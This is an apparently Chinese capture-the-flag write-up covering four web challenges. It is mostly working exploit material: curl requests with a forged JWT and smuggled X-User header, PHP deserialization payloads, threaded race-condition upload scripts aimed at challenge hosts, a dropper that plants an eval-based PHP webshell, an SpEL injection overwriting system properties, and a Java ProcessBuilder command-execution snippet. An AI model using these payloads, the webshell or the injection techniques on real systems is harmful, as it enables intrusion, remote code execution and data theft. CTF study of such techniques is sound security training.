初赛 , 决赛还没整理
SecretVault 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'POST': username = request.form.get('username', '').strip() password = request.form.get('password', '') user = User.query.filter_by(username=username).first() if not user or not verify_password(password, user.salt, user.password_hash): flash('Invalid username or password.', 'danger') return render_template('login.html') r = requests.get(app.config['SIGN_SERVER'], params={'uid': user.id}, timeout=5) if r.status_code != 200: flash('Unable to reach the authentication server. Please try again later.', 'danger') return render_template('login.html') token = r.text.strip() response = make_response(redirect(url_for('dashboard'))) response.set_cookie( 'token', token, httponly=True, secure=app.config.get('SESSION_COOKIE_SECURE', False), samesite='Lax', max_age=12 * 3600, ) return response return render_template('login.html')
root:root
1 2 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJBdXRob3JpemVyIiwic3ViIjoiMSIsImV4cCI6MTc2MDc5MjAxNywibmJmIjoxNzYwNzg4NDE3LCJpYXQiOjE3NjA3ODg0MTcsInVpZCI6IjEifQ.8cEFV4et9siu4ipRp1PqKxb2d7GOWapFpRabSMl16aU
测试行为
结果
含义
/sign?uid=0
404
签名服务未对外开放
Cookie: token=foo
302
token 被验证,伪造无效
X-User: 0
302
不再被信任
1 2 3 4 5 curl -H "X-User: 0" -b "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJBdXRob3JpemVyIiwic3ViIjoiMSIsImV4cCI6MTc2MDc5MjAxNywibmJmIjoxNzYwNzg4NDE3LCJpYXQiOjE3NjA3ODg0MTcsInVpZCI6IjEifQ.8cEFV4et9siu4ipRp1PqKxb2d7GOWapFpRabSMl16aU" http://8.147.135.220:36925/dashboard curl -H "X-User: 0" -b "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJBdXRob3JpemVyIiwic3ViIjoiMSIsImV4cCI6MTc2MDc5MjAxNywibmJmIjoxNzYwNzg4NDE3LCJpYXQiOjE3NjA3ODg0MTcsInVpZCI6IjEifQ.8cEFV4et9siu4ipRp1PqKxb2d7GOWapFpRabSMl16aU" \ http://8.147.135.220:36925/passwords/1
X-User: 0
Connection: keep-alive,X-User
ezphp 1 2 <?=eval(base64_decode('ZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDgpeyRjaGFyYWN0ZXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzskcmFuZG9tU3RyaW5nID0gJyc7Zm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgeyRyID0gcmFuZCgwLCBzdHJsZW4oJGNoYXJhY3RlcnMpIC0gMSk7JHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1skcl07fXJldHVybiAkcmFuZG9tU3RyaW5nO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBc2lhL1NoYW5naGFpJyk7Y2xhc3MgdGVzdHtwdWJsaWMgJHJlYWRmbGFnO3B1YmxpYyAkZjtwdWJsaWMgJGtleTtwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXskdGhpcy0+cmVhZGZsYWcgPSBuZXcgY2xhc3Mge3B1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpe2lmIChpc3NldCgkX0ZJTEVTWydmaWxlJ10pICYmICRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA9PSAwKSB7JHRpbWUgPSBkYXRlKCdIaScpOyRmaWxlbmFtZSA9ICRHTE9CQUxTWydmaWxlbmFtZSddOyRzZWVkID0gJHRpbWUgLiBpbnR2YWwoJGZpbGVuYW1lKTttdF9zcmFuZCgkc2VlZCk7JHVwbG9hZERpciA9ICd1cGxvYWRzLyc7JGZpbGVzID0gZ2xvYigkdXBsb2FkRGlyIC4gJyonKTtmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHtpZiAoaXNfZmlsZSgkZmlsZSkpIHVubGluaygkZmlsZSk7fSRyYW5kb21TdHIgPSBnZW5lcmF0ZVJhbmRvbVN0cmluZyg4KTskbmV3RmlsZW5hbWUgPSAkdGltZSAuICcuJyAuICRyYW5kb21TdHIgLiAnLicgLiAnanBnJzskR0xPQkFMU1snZmlsZSddID0gJG5ld0ZpbGVuYW1lOyR1cGxvYWRlZEZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHVwbG9hZFBhdGggPSAkdXBsb2FkRGlyIC4gJG5ld0ZpbGVuYW1lOyBpZiAoc3lzdGVtKCJjcCAiLiR1cGxvYWRlZEZpbGUuIiAiLiAkdXBsb2FkUGF0aCkpIHtlY2hvICJzdWNjZXNzIHVwbG9hZCEiO30gZWxzZSB7ZWNobyAiZXJyb3IiO319fXB1YmxpYyBmdW5jdGlvbiBfX3dha2V1cCgpe3BocGluZm8oKTt9cHVibGljIGZ1bmN0aW9uIHJlYWRmbGFnKCl7ZnVuY3Rpb24gcmVhZGZsYWcoKXtpZiAoaXNzZXQoJEdMT0JBTFNbJ2ZpbGUnXSkpIHskZmlsZSA9ICRHTE9CQUxTWydmaWxlJ107JGZpbGUgPSBiYXNlbmFtZSgkZmlsZSk7aWYgKHByZWdfbWF0Y2goJy86XC9cLy8nLCAkZmlsZSkpZGllKCJlcnJvciIpOyRmaWxlX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygidXBsb2Fkcy8iIC4gJGZpbGUpO2lmIChwcmVnX21hdGNoKCcvPFw/fFw6XC9cL3xwaHxcP1w9L2knLCAkZmlsZV9jb250ZW50KSkge2RpZSgiSWxsZWdhbCBjb250ZW50IGRldGVjdGVkIGluIHRoZSBmaWxlLiIpO31pbmNsdWRlKCJ1cGxvYWRzLyIgLiAkZmlsZSk7fX19fTt9cHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXskZnVuYyA9ICR0aGlzLT5mOyRHTE9CQUxTWydmaWxlbmFtZSddID0gJHRoaXMtPnJlYWRmbGFnO2lmICgkdGhpcy0+a2V5ID09ICdjbGFzcycpbmV3ICRmdW5jKCk7ZWxzZSBpZiAoJHRoaXMtPmtleSA9PSAnZnVuYycpIHskZnVuYygpO30gZWxzZSB7aGlnaGxpZ2h0X2ZpbGUoJ2luZGV4LnBocCcpO319fSRzZXIgPSBpc3NldCgkX0dFVFsnbGFuZCddKSA/ICRfR0VUWydsYW5kJ10gOiAnTzo0OiJ0ZXN0IjpOJztAdW5zZXJpYWxpemUoJHNlcik7'));
format 一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 <?php function generateRandomString($length = 8) { $characters = 'abcdefghijklmnopqrstuvwxyz'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $r = rand(0,strlen($characters)-1); $randomString .= $characters[$r]; } return $randomString; } date_default_timezone_set('Asia/Shanghai'); class test { public $readflag; public $f; public $key; public function __construct() { $this->readflag = new class { public function __construct() { if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) { $time = date('Hi'); $filename = $GLOBALS['filename']; $seed = $time . intval($filename); mt_srand($seed); $uploadDir = 'uploads/'; $files = glob($uploadDir.'*'); foreach ($files as $file) { if (is_file($file)) unlink($file); } $randomStr = generateRandomString(8); $newFilename = $time . '.' . $randomStr . '.' . 'jpg'; $GLOBALS['file'] = $newFilename; $uploadedFile = $_FILES['file']['tmp_name']; $uploadPath = $uploadDir . $newFilename; if (system("cp ".$uploadedFile." ".$uploadPath)) { echo "success upload!"; } else { echo "error"; } } } public function __wakeup() { phpinfo(); } public function readflag() { function readflag() { if (isset($GLOBALS['file'])) { $file = $GLOBALS['file']; $file = basename($file); if (preg_match('/:\/\//',$file)) die("error"); $file_content = file_get_contents("uploads/".$file); if (preg_match('/<\?|\:\/\/|ph|\?\=/i',$file_content)) { die("Illegal content detected in the file."); } include("uploads/" . $file); } } } }; } public function __destruct() { $func = $this->f; $GLOBALS['filename'] = $this->readflag; if ($this->key == 'class') new $func(); else if ($this->key == 'func') { $func(); } else { highlight_file('index.php'); } } } $ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N'; @unserialize($ser); ?>
看 phpinfo
1 2 ?land=O%3A4%3A"test"%3A3%3A%7Bs%3A8%3A"readflag"%3BN%3Bs%3A1%3A"f"%3Bs%3A7%3A"phpinfo"%3Bs%3A3%3A"key"%3Bs%3A4%3A"func"%3B%7D
Version 7.4.33
后面是打文件上传吗
是吧,都 include 了
考虑条件竞争把黑名单校验 bypass 掉
readflag 解决 readflag 的调用问题:
ref: https://www.leavesongs.com/PENETRATION/php-challenge-2023-oct.html
不 eval 的时候能调到 readflag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class test { public $readflag; public $f; public $key; } $ser = new test(); $ser->readflag = ""; $ser->key = "func"; $ser->f = "\x00readflag/var/www/html/index.php:46$0"; echo urlencode(serialize($ser));
O%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22f%22%3Bs%3A37%3A%22%00readflag%2Fvar%2Fwww%2Fhtml%2Findex.php%3A46%240%22%3B
eval 的时候改下 path
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class test { public $readflag; public $f; public $key; } $ser = new test(); $ser->readflag = ""; $ser->key = "func"; $ser->f = "\x00readflag/var/www/html/index.php(1) : eval()'d code:1$0"; echo urlencode(serialize($ser));
O%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22f%22%3Bs%3A55%3A%22%00readflag%2Fvar%2Fwww%2Fhtml%2Findex.php%281%29+%3A+eval%28%29%27d+code%3A1%240%22%3Bs%3A3%3A%22key%22%3Bs%3A4%3A%22func%22%3B%7D
得打刚出生的容器,中间不能有干扰
我本地也传不了,但是远程可以
啊?? 你交了吧直接 我看晕了(
我在想怎么同时 readflag 和 写 globals[‘file’]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requests import time TARGET_URL="https://eci-2zegaebqg55pwonhb2pl.cloudeci1.ichunqiu.com:80" for i in range(20): readflag_payload = 'O:4:"test":3:{s:8:"readflag";s:0:"";s:1:"f";s:' + str(len(hex(i)[2:])+54) + ':"\x00readflag/var/www/html/index.php(1) : eval()\'d code:1$' + hex(i)[2:] + '";s:3:"key";s:4:"func";}' from urllib.parse import quote_plus encoded_payload = quote_plus(readflag_payload) # print(encoded_payload) url = f"{TARGET_URL}?land={encoded_payload}" response = requests.get(url, timeout=5) # print(response.text) print(response.status_code, len(response.text)) print(response.text[:100]) if "undefined function" not in response.text: print(response.text)
Race condition 时间逻辑:
readflag() 函数执行校验
上传恶意文件
readflag() 执行 **include**("uploads/" . $file);
单线程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requests def upload_file(url, file_path): """ 上传文件到目标URL Args: url (str): 目标URL file_path (str): 要上传的本地文件路径 """ try: # 以二进制模式打开文件 with open(file_path, 'rb') as f: files = {'file': (file_path, f, 'application/octet-stream')} # 发送POST请求上传文件 response = requests.post(url, files=files) # 输出响应结果 print(f"状态码: {response.status_code}") print(f"响应内容: {response.text}") except FileNotFoundError: print(f"错误: 文件 '{file_path}' 未找到") except Exception as e: print(f"上传过程中发生错误: {str(e)}") if __name__ == "__main__": # 配置参数 payload = 'O%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3Bs%3A5%3A%22dummy%22%3Bs%3A1%3A%22f%22%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22f%22%3Bs%3A55%3A%22%00readflag%2Fvar%2Fwww%2Fhtml%2Findex.php%281%29+%3A+eval%28%29%27d+code%3A1%241%22%3Bs%3A3%3A%22key%22%3Bs%3A4%3A%22func%22%3B%7Ds%3A3%3A%22key%22%3Bs%3A5%3A%22class%22%3B%7D' target_url = "https://eci-2zeanvowileucacbyzf0.cloudeci1.ichunqiu.com:80/?land=" + payload file_to_upload = "test.jpg" # 替换为要上传的文件路径 # 执行上传 upload_file(target_url, file_to_upload)
跑之前重新下发一下容器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 import threading import requests from urllib.parseimport quote_plus from pathlibimport Path # 全局计数器与锁 counter =0 counter_lock = threading.Lock() defbuild_payload(n:int) ->str: """ 根据计数 n 构造你要放在 ?land= 的字符串。 这里给出一个占位示例:请替换为你自己在授权环境中的合法构造逻辑。 """ return'O:4:"test":3:{s:8:"readflag";s:5:"dummy";s:1:"f";O:4:"test":3:{s:8:"readflag";s:0:"";s:1:"f";s:' +str(len(hex(n)[2:])+54) +':"\x00readflag/var/www/html/index.php(1) : eval()\'d code:1$' +hex(n)[2:] +'";s:3:"key";s:4:"func";}s:3:"key";s:5:"class";}' defsend_request(session: requests.Session, url:str, file_path:str |None, timeout:int =10) ->tuple[int,str]: """ 实际发请求(POST 带文件)。你可改成 GET 或自定义 headers/data 等。 返回 (状态码, 文本片段) 便于打印。 """ files =None try: if file_path: fp =open(file_path,"rb") files = {'file': (Path(file_path).name, fp,'application/octet-stream')} resp = session.post(url, files=files, timeout=timeout) print(resp.text) if"hajimihajimihajihajimi"in resp.text: print("omajilimanbo") withopen("hajiminanbeilvduo.txt","w+")as f: f.write(resp.text) return resp.status_code, (resp.text[:200]if resp.textelse"") finally: if filesandhasattr(files['file'][1],'close'): files['file'][1].close() defworker(name:str, base_url:str, total:int, file_path:str |None =None): """ 工作线程:每次从全局 counter 取号并 +1,然后构造 URL 并发送。 """ global counter session = requests.Session()# 每线程一个 Session,减少资源竞争 whileTrue: # 取号 + 递增(原子操作) with counter_lock: if counter >= total: break n = counter counter +=1 # 构造带 land 参数的 URL(示例:?land=<payload>) land = build_payload(n) url =f"{base_url.rstrip('/')}?land={quote_plus(land)}" try: status, body_snippet = send_request(session, url, file_path) print(f"[{name}] sent #{n} ->{status} |{url}") except Exceptionas e: print(f"[{name}] error on #{n}:{e}") defmain(): # ===== 在授权环境中修改这些参数 ===== BASE_URL ="https://eci-2zee2enr78t14iuhvt4c.cloudeci1.ichunqiu.com:80/"# 你的目标基地址(不含 ?land= 部分) FILE_PATH ="test.jpg"# 如不需要上传文件可设为 None TOTAL_REQUESTS =1000# 总发送次数 # ================================= t1 = threading.Thread(target=worker, args=("T1", BASE_URL, TOTAL_REQUESTS, FILE_PATH), daemon=True) t2 = threading.Thread(target=worker, args=("T2", BASE_URL, TOTAL_REQUESTS, FILE_PATH), daemon=True) t1.start() t2.start() t1.join() t2.join() print(f"完成,总计发送:{counter}") if __name__ =="__main__": main()
1 2 3 4 5 # test.jpg <?php echo "hajimihajimihajihajimi"; ?>
上 webshell
1 2 3 4 5 6 7 8 9 10 <?php echo "hajimihajimihajihajimi\n"; $dir = '/var/www/html'; $file = $dir . '/a.php'; echo $dir . "\n"; // 写入(覆盖) file_put_contents($file, "<?php @eval(\$_POST['a']);?>");
提权
bbjv 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 @RestController public class GatewayController { private final EvaluationService evaluationService; public GatewayController(EvaluationService evaluationService) { this.evaluationService = evaluationService; } @GetMapping({"/check"}) public String checkRule(@RequestParam String rule) throws FileNotFoundException { String result = this.evaluationService.evaluate(rule); File flagFile = new File(System.getProperty("user.home"), "flag.txt"); if (flagFile.exists()) try { BufferedReader br = new BufferedReader(new FileReader(flagFile)); try { String content = br.readLine(); result = result + "<br><b>Flag:</b> " + result; br.close(); } catch (Throwable throwable) { try { br.close(); } catch (Throwable throwable1) { throwable.addSuppressed(throwable1); } throw throwable; } } catch (IOException e) { throw new RuntimeException(e); } return result; } }
1 2 3 public String checkRule(@RequestParam String rule) throws FileNotFoundException { String result = this.evaluationService.evaluate(rule);
rule @RequestParam String
被传入 evaluationService.evaluate(rule),而该方法未对 SpEL 表达式做过滤或沙箱限制
在 dockerfile中 COPY flag.txt /tmp/flag.txt
所以需要把 File flagFile = new File(System.getProperty(“user.home”), “flag.txt”); 改为 /tmp路径
SpelExpressionParser解析rule后使用 SimpleEvaluationContext 访问预定义的表达式变量, 最后修改系统属性
1 2 #{#systemProperties['user.home']='/tmp'}
Yamcs Yamcs version5.12.0
myproject > Algorithms >/myproject /copySunsensor 下可以ProcessBuilder执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 try { java.lang.ProcessBuilder choco = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", "cat /flag"}); choco.redirectErrorStream(true); java.lang.Process p = choco.start(); java.io.InputStream inputStream = p.getInputStream(); java.io.Reader streamReader = new java.io.InputStreamReader(inputStream, java.nio.charset.StandardCharsets.UTF_8); java.io.BufferedReader reader = new java.io.BufferedReader(streamReader); java.lang.StringBuilder sb = new java.lang.StringBuilder(); String line; while ((line = reader.readLine()) != null) { sb.append(line).append('\n'); } reader.close(); int exitCode = p.waitFor(); sb.append("EXIT_CODE=").append(exitCode); out0.setStringValue(sb.toString()); } catch (java.io.IOException e) { out0.setStringValue("IOException: " + e.getMessage()); } catch (java.lang.InterruptedException e) { out0.setStringValue("Interrupted: " + e.getMessage()); }